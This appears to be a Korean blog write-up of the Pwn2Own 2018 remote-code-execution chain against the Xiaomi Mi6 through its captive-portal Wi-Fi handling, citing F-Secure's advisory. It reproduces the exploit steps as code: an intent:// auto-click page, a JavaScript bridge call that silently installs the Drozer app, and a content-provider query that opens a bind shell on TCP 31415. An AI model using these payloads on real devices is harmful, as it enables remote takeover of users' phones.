티스토리 뷰

info

Model Name

Xiaomi MI6

Date

2019-11-22

CVE

X

DESC

Pwn2own 2018에서 발표된 내용으로 Xiaomi Mi6 와이파이와 연결할 때 [Captive Portal] 기능을 이용하여 RCE가 가능한 내용

Xiaomi Mi6은 Captive Portal이 사용되면 사용자에게 먼저 알리지 않고 로컬 서버로 리다이렉션 함

  • connect.rom.miui.com

로컬 웹 서버 “http://connect.rom.miui.com/generate_204” 에는 HTML 페이로드가 포함되는데 이 작업을 수행하면 CaptivePortal 앱이 자동으로 열림

  • intent:// 스키마를 사용하여 안드로이드 어플리케이션 특정 activity를 호출함

  • intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end

    • com.android.browser <- 해당 패키지를 이용하여 브라우저를 실행함

<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){
document.getElementById('foo').click();
}
</script>

 

Xiaomi 브라우저앱이 실행되면 코드를 로드하는데 miui라는 이름의 자바스크립트 코드가 포함되어 있음

  • public abstract class a implements IMiuiApi {

  • public class com.android.browser.js.a$a {

 

method a는 서비스 설치를 시작하는 코드인데 downloadAndInstallApk() 함수에서 호출함

@JavascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {
this.a();
ae.a(this.a, arg2, arg3, arg4);
}

private void a(String arg4, String arg5) {
Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");
v0.setPackage(arg4);
v0.putExtra("packageName", arg5);
v0.putExtra("type", 2);
v0.putExtra("ref", "browser_suggestbutton");
this.W.startService(v0);

 

bf 클래스를 확인하면 url이 bf.a[] 배열 중 하나로 끝나야 하는 것을 확인할 수 있음

public class bf {
private static final String[] a;
private static Pattern b;
static {
bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
}

 

아래와 같은 url에 아래의 코드가 포함되어 있다면 Xiaomi 앱스토어에 연결되고 선택된 앱이 다운로드 됨 (아래의 코드의 경우 Drozer 인스턴트가 다운로드됨)

  • http://testing.mi.com/thanks.html
(thanks.html에 포함되어 있는 코드)
<script>
function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>

Contacts provider(com.android.providers.contacts)는 새로 설치된 모든 앱에 AndroidManifest.xml 파일에 다음과 같은 'meta-data'가 들어 있는지 확인함

# 정상적인 meta-data
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>

# Drozer의 meta-data
<provider android:name="com.mwr.dz.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
</provider>

 

meta-data를 탐지하는 Contacts provider 앱은 provider에 대한 쿼리를 시도함

본 서비스를 시작하고 bind Shell을 열기 위해 Drozer로 덮어쓰는 onQuery method를 호출해 실행하여 TCP:31415 bind shell을 오픈함

public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
}

 

https://labs.f-secure.com/advisories/xiaomi-wifi/

https://labs.f-secure.com/tools/drozer/

'아이오티 > info' 카테고리의 다른 글

[info] lua bytecode header  (0) 2019.07.02
[tech] lua 5.1 decompiler install  (0) 2019.07.02
댓글
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31